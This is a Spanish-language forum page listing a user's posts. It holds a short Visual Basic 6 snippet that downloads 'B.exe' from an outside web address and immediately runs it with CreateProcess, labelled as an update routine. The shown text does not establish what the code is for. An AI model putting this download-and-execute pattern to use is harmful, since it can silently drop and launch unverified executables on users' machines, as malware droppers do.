Gracias...!!!!!!!!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
DescargarActualizacion ("http://dddft.es/B.exe") ' Descargo mi file
Dim pInfo As PROCESS_INFORMATION ' Ejecuto el file
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
sInfo.cb = Len(sInfo)
lSuccess = CreateProcess(sNull, _
App.Path + "\B.exe", _
ByVal 0&, _
ByVal 0&, _
1&, _
NORMAL_PRIORITY_CLASS, _
ByVal 0&, _
sNull, _
sInfo, _
pInfo)
Sub DescargarActualizacion(Url As String)
Call URLDownloadToFile(0, Url, App.Path & "\B.exe", 0, 0)
End Sub